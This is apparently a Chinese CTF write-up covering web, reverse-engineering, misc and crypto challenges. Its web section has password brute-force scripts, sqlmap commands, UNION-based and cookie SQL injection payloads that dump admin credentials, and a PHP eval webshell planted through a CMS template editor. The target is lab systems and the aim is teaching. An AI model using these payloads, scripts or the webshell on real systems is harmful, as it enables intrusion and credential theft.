Web


1. 签到题

利用web扫描工具扫描一下后台,这里使用御剑

发现有/robots.txt文件,访问一下看看

得到flag:flag:flag-8adc-2230-ekd1

flag{flag-8adc-2230-ekd1}

2. 简单爆破

打开链接,很直白告诉你登录名为:admin,密码为6位纯数字

打开开发者工具,随便提交一个密码数据上去,看看提交的内容与方式和返回内容

我们可以发现采用post提交了unamepass两个数据,密码错误时alert弹出一个”账户密码错误”

编写python脚本爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
import re
import requests
# 正则匹配与requests
for i in range(999999):
i = 100000+i #从最低6位整数开始循环提交
data={"uname":'admin',"pass":i}
res=requests.post("http://95a9538e.lab.aqlab.cn/",data=data)
text=re.findall(r'<script>alert[(]"(.+?)"',res.text)[0]
print(text,i)
#当返回的内容不一样时停止
if text!="账户密码错误":
exit()

得到flag:flag{66b6_77kkqa7}

flag{66b6_77kkqa7}

3. SQL或Web扫描

利用御剑扫描工具扫描到/flag.txt文件,访问即可

flag_{axdeDaf}

4. SQL2

注入型,先找一下注入点

使用Acunetix工具扫一下,发现single.php文件,且存在id

放到浏览器地址,看看单引号报错/single.php?id=1'

得到了绝对位置

使用sqlmap捅一下它屁股

1
sqlmap -u http://59.63.200.79:8001/single.php?id=1 –dbs –batch

得到了3个数据库对象

下载查看一下第一个表

1
sqlmap -u http://59.63.200.79:8001/single.php?id=1 -D cake -T user –dump –batch

呃,flag直接出来了”flag{flag-8adc-6513-e54az}”

flag{flag-8adc-6513-e54az}

5. 简单代码审计

点击进去发现是一段php代码,我们对其理解一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include("flag.php");
highlight_file(__FILE__);
//判断是否get传入的name和password参数
if (isset($_GET['name']) and isset($_GET['password'])){
var_dump($_GET['name']);
echo " ";
var_dump($_GET['password']);
//当有这两个参数时对其进行sha1加密
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
//如果name字段与password字段相等则输出:
echo 'Your password can not be your name!'; //你的密码不能是你的名字
//如果name字段与password字段加密后相等则输出:
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag); //输出flag
else
//否则输出密码无效
echo 'Invalid password.';
}
else
//当没有这两个参数时输出:
echo 'Login first!'; //请先登录
?> Login first! //输出的消息

cyan checked 理论存在,实践开始

这里使用了HackBar插件进行传参,随便传入一个name和password试试:


其中输出了’Invalid password.’与加密后的两段参数的值。我们需要让name与password加密后相等,想个极端的值。但是直接传参会被转str加密。我们尝试让它为空值。利用数组,使其解密后均为空。

1
http://web.t.ctf.wgpsec.org/sha/?name[]=1&password[]=2

flag{5afeca4cc117d368380a059e8c971d97}

6. (猫舍)SQL注入

其中只有一个可点击位置,点击发现有id传入?id=1,尝试用'试试报错信息。但是显示异常,尝试修改id,其中123有内容。

不管了,试试sqlmap捅屁股。

1
sqlmap -u http://rhiq8003.ia.aqlab.cn/?id=1 -dbs -batch

出现4个库

打开maoshe库,看看里面的表

1
sqlmap -u http://rhiq8003.ia.aqlab.cn/?id=1 -D maoshe -tables -batch

出现4个表

先看看admin

1
sqlmap -u http://rhiq8003.ia.aqlab.cn/?id=1 -D maoshe -T admin -dump -batch

en….我们先忽略一下广告。题目提示falg即为账户密码,试试hellohack。成功。

flag{hellohack}

点击网页唯一一个可点击位置,发现url有传入参数id值,结合题目sql注入对注入点进行尝试

利用order by语句进行字段探测

即只有两个字段

利用select语句检测两个字段的显示

由于1=1时会显示正常内容,所以我们让他报错采用1=2

可以看到字段2被显示出来了

我们利用第二个字段对数据库进行查询操作

查数据库:?id=1 and 1=2 union select 1,database()

查库中所有表(利用information_schema基础表):

1
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

  • limit 0,1的意思是从0开始,查询第1个数据

我们只需要admin所以其他的表我们就不查了

查询数据表中的所有数据:

  • 表中第一个字段:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=’admin’ limit 0,1

  • 表中第二个字段: ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=’admin’ limit 1,1

  • 表中第三个字段: ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=’admin’ limit 2,1

查询limit 3,1无显示说明只有三个字段

表名知道了,字段名知道了,这里直接使用select语句查询:

  • 用户名:?id=1 and 1=2 union select 1,username from admin limit 0,1

  • 密码: ?id=1 and 1=2 union select 1,password from admin limit 0,1

根据题目提示账户密码就是flag,hellohack

flag{hellohack}

7. 尝试找到你的小姐姐吧!

打开之后只有一张小姐姐照片和一段话,提示我们时间戳作为验证码。

这种题先看看robots.txt准没错。

打开robots.txt得到一个目录:/readme_hahah.txt

进去看看

en…得到了一个默认用户名与密码,还有一个,哦不,半个链接。

还有一段加密文本

Hint{4WIKZ2FPWTS3BD7FU6IOLJ4Q46C2PZ4JQ7UYPDHJTWRONHEJ4WS33ZFYTTUKLP7PXSGONHEJ42ZKDZU4RHUK7FPIX6D6RLVQ4S5IXZU4VTTITE7FXSAOLENC566J6===}

丢到一键解码去看看

下载去看看,在最后发现一段话:

得到完整后台地址:http://web.t.ctf.wgpsec.org/notjustweb/7b6ca699/login.html
打开,看见了登录地址。我们已知默认账户与密码,题目很直白得告诉了时间戳作为验证码。开始爆破:

py大法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import re

import time
import requests

ss=requests.session()
cookies = {
'Hm_lvt_66e7271a2d04bba3f5a40e5544aca1ac': '1639048827',
'Hm_lpvt_66e7271a2d04bba3f5a40e5544aca1ac': '1639051053',
'PHPSESSID': '3iob2ucpstm2qpc07ckn20mp82',
}

headers = {
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'Origin': 'http://web.t.ctf.wgpsec.org',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Referer': 'http://web.t.ctf.wgpsec.org/notjustweb/7b6ca699/login.html',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
}

def yzm(i):
#5位数密码列表
pwd=("%05d"%i)
#get验证码刷新
ss.get('http://web.t.ctf.wgpsec.org/notjustweb/7b6ca699/verifycode.php')
#切片验证码,取后5位,因为发现验证码有时间差异,更改13个分秒差
r = str(time.time())[5:10]
#提取密码,可用于txt文件读取时
#pwd = pwd.strip('\n')
#提交数据
data = {'username': 'admin','password': pwd,'verifycode': r,'submit': ''}
#POST提交
res = ss.post('http://web.t.ctf.wgpsec.org/notjustweb/7b6ca699/login.php', headers=headers, cookies=cookies, data=data, verify=False)
#返回状态信息,正则匹配显示关键信息
#print("测试密码:%s--%s---%s"%(pwd,r,ts))
print("测试密码:%s--验证码:%s---提示:%s" % (pwd, r, res.text))
#判断成功时输出并结束程序
if res.text !="<script>alert('用户名或密码错误');window.location.href='login.html'</script>" and res.text !="<script>alert('验证码错误');window.location.href='login.html'</script>":
print("---------------------------------------密码:%s--------------------------------"%pwd)
exit()
if __name__ == "__main__":
r=''
for i in range(1,10000):
yzm(i)

得到flag:flag{9472B3B73531545428F2599A9E4E30C3}

flag{9472B3B73531545428F2599A9E4E30C3}

8. 简单的Cookie注入

原理和sql注入是一样的,我们先找注入点

打开网页发现只有新闻,我们随便挑选一个新闻点击进去发现存在id

利用单引号报错,发现被拦截

结合题目我们将注入放到cookie,将id提到cookie

再用单引号报错,就不会被拦截

使用之前的sql语句进行注入

我们利用cookie注入查看哪些可以回显(正常显示)我们猜测存在admin这个表

1
cookie:id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

发现存在admin表,且返回的字段只有第二第三字段

1
document.cookie="id="+escape("171 union select 1,username,password,4,5,6,7,8,9,10 from admin")

获取用户名及密码,由于密码采用的是md5解密,我们拿去解密即可得到用户名及密码。Md5解密网站

密码:b9a2a2b5dffb918c

解密之后是:welcome

有了用户密码我们尝试登陆网站后台,试一下直接admin

或者利用御剑扫描器扫描目录

利用账号密码登陆后台即可获得flag

zkz{welcome-control}

9. SQL注入-难度提升

打开页面发现是bluecms,根据题目提示是sql注入所以我们百度bluecms的sql注入

发现ad_js.php文件存在注入,参数为ad_id=

可以利用sqlmap工具直接得到flag,为方便理解,这里仍然采用手注

利用order by 语句判断字段数量,当ad_id=1 order by 8时出现错误,说明字段有7个

发现只有第7个字段有回显

利用第7个字段查询数据库名

1
ad_id=1 union select 1,2,3,4,5,6,database()

1
ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

查询所有表名,再源码中查看

查询blue_admin所有的字段名

1
ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=blue_admin


发现报错,我们对表名进行16进制编码

  • Blue_admin=0x626c75655f61646d696e

返回了表的字段名

1
ad_id=1+UNION+SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

利用sql语句读取用户名和密码


对密码进行md5解密


密码为123abcufo

登陆后台


利用[模板管理]可对网站源代码进行修改

抓包修改编辑网页文件

插入一句话木马@eval($_POST['shell']);

拿到服务器权限,然后翻找服务器上的flag,最终在C盘找到flag.txt

zkz{F3ck_power_3y3stem}

10. 最强大脑

根据题目意思就计算结果之后提交,作答正确多次后获得flag

多次,圈起来,要考。

要求请输入一个位数大于21的数

根据21位这样算肯定有问题,我们利用0填充到21位

  • 0000000000000000000001

手输肯定来不及,python利用POST也有问题

尝试Python+Selenium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import random

import re

from selenium import webdriver
import time
driver = webdriver.Chrome('E:\Chrome\chromedriver.exe')
driver.get('http://web.t.ctf.wgpsec.org/wgpsecZQDN/')
for i in range(10000):
input(':')
html=driver.page_source
driver.find_element_by_name('input').clear()
driver.find_element_by_xpath('//*[@id="article_list"]/form/input[2]').clear()
data2 = re.findall(r'inline;">(.+?)</div>', html)
a = ''
for i in range(len(data2)):
a = a + data2[i]
p=str(random.randint(21,31))
a0 = '000000000000000000000'+p
driver.find_element_by_name('input').send_keys(a0)
a1 = p+ a
a2 = eval(a1.strip("="))
print(a1, a2)
driver.find_element_by_xpath('//*[@id="article_list"]/form/input[2]').send_keys(a2)
driver.find_element_by_xpath('//*[@id="article_list"]/form/input[3]').click()
alert = driver.switch_to.alert # 切到弹出框
print(alert.text)
alert.accept()

利用input做一个短暂的暂停,避免出现卡顿导致程序错误

随便输入数值即可

flag{C9A8BF0E9732776714284EEF16C34B94}


Reverse

1. 简单的逆向

查看一下,发现该exe32位执行程序

使用IDA工具打开

定位主函数main按下F5查看伪代码

得到flag

flag{Welcome_to_GeekFZCTF}

2. 简单的逆向2

同样,32位exe程序,定位到主函数查看伪代码

打开函数

选中数值按下R

连起来即是flag

flag{sAdf_fDfkl_Fdf}


MISC

1. 不会吧?不会吧?你不知道它?

得到题目:

哦耶!这么简单???
N0NDRTc5OEUtNjkyMC00NjI2LUE4RDctMzUyQUUyQUMyODk5

复制下来扔一键解密里看看

  • base64解码: 7CCE798E-6920-4626-A8D7-352AE2AC2899

当然也可以用CTF在线工具箱进行base64解码

flag{7CCE798E-6920-4626-A8D7-352AE2AC2899}

2. 哇,这个学废了一定用得到!

下载附件下来,是一个word文档。但是加密了。

利用word密码爆破工具或者在线office密码删除处理一下

密码就在折线图下

flag{9c2965fa13be342b8e70a50410bc76bd}

3. 听说过Audacity吗?

下载附件,是一段MP3文件。

用耳朵听听就知道是摩斯密码,用Audacity工具打开看看频段,用.和-记录下长短音,空格间隔开,得到

1
.... .-.. . .. -.-. .. -.-. - ... - .-- --- --- -.-. ..-. . -- -.-. -. .----

扔进一键解密,或者在线摩斯密码解码器得到:HLEICICTSTWOOCFEMCN1

提交flag,但是错误。将解出来的HLEICICTSTWOOCFEMCN1再扔进解码器,在栅栏解密分为4栏时,我们似乎发现了有意义的组合:HIWELCOMETOCISCNCTF1

flag{HIWELCOMETOCISCNCTF1}

4. Stegsolve yyds!

下载附件,得到一张图片。题目提示Stegsolve,我们用Stegsolve打开图片看看

多换几个色度通道就发现了flag

flag{L1nux3rr0r}

5. 你知道怎样破坏一个文件吗?

下载附件,提示文件损坏。010编辑器打开看看。发现文件头只剩个9a,我们补全GIF的文件头GIF89a

嗯,好了,正常打开。得到flag

flag{2017_love_U}

6. 哦~原来二维码在这里呀

010编辑器打开看看,在ascii字段发现有一个fl49.xlsx文件,且有PK关键词,可以得知在图片中藏了压缩包。

对图片进行分离或者直接将其后缀改为zip

打开压缩包,发现加密。查看压缩包全局方式位,不是伪加密。(详见文章:压缩包真伪加密

使用Ziperello工具爆破处理。

得到密码,解压查看fl49.xlsx

观察一下,发现其中有价值的信息为1与空白单元格组成的二维表,共有6个工作表,每个表刚好4列24行。

6个表即可组成24*24的一个二维表。将其按月份拼在一起,对有值的单元格涂黑,空值为白。单元格处理为正方形,可得到二维码:

二维码识别得到:zfua{B3s1o9in1Nw0halUnofuNc0HM1}

似乎不对,我们对其再解码。这是段凯撒解密,解密得:flag{H3y1u9ot1Tc0ngrAtulaTi0NS1}

flag{H3y1u9ot1Tc0ngrAtulaTi0NS1}

7. 可恶的黑客

下载附件,是一段流量分析。wireshark往里放

我们对流量进行过滤一下,查看post请求的包

其他包都是在/images/下,发现有一个异常包

追踪流

发现一串Unicode编码

1
&#102;&#49;&#97;&#103;&#123;&#115;&#105;&#49;&#49;&#121;&#98;&#48;&#121;&#101;&#109;&#109;&#109;&#125;

解码得到:f1ag{si11yb0yemmm},注意格式,将1改为l

flag{si11yb0yemmm}


Crypto

1. 简单的RSA解密

打开附件,得到nec

利用风二西的RSA工具,将值复制到对应的框中

右键分解N,得到:

  • p=368751654879714877087975516875168751974879716873087714877516875971487715

  • q=368751654879714877087975516875168751974879716873087714877516875971487715687518277898523

再右键选择计算私钥得到D

右键计算明文,然后明文转字符

flag{4e9f2a7f-bda9-4a46-af51-b29e0c61973e}

2. Manycode

下载附件,一堆奇奇怪怪的东西

我也不知道是啥,万能的百度告诉我是AAencode编码。

解码得到:在线解码

  • 54464E4C536E744F516C396F6457467A614756755A33303D

这是base16编码,再解码得到:

  • TFNLSntOQl9odWFzaGVuZ30=

这是base64编码,再解码得到:

  • LSKJ{NB_huasheng}

LSKJ{NB_huasheng}

3. CuteCaesar

嗷嗷嗷~

这是啥呢?叫兽编码[滑稽`༼ つ ◕_◕ ༽つ]兽音译者在线

解码得到:LSKJ{linxi_welcome}

LSKJ{linxi_welcome}


写在最后( o=^•ェ•)o ┏━┓

~呜嗷呜嗷嗷嗷啊嗷嗷~啊呜~啊~呜呜嗷~呜~呜呜啊嗷啊啊嗷~啊啊~呜啊嗷~嗷~呜嗷啊嗷嗷~呜嗷嗷呜~嗷啊嗷啊啊嗷嗷啊嗷呜嗷呜嗷嗷啊嗷~~嗷嗷啊~呜~啊~啊啊~啊~啊~呜呜嗷啊呜呜~啊呜呜呜呜嗷~啊啊啊

有问题欢迎评论告诉我呀(✿◠‿◠)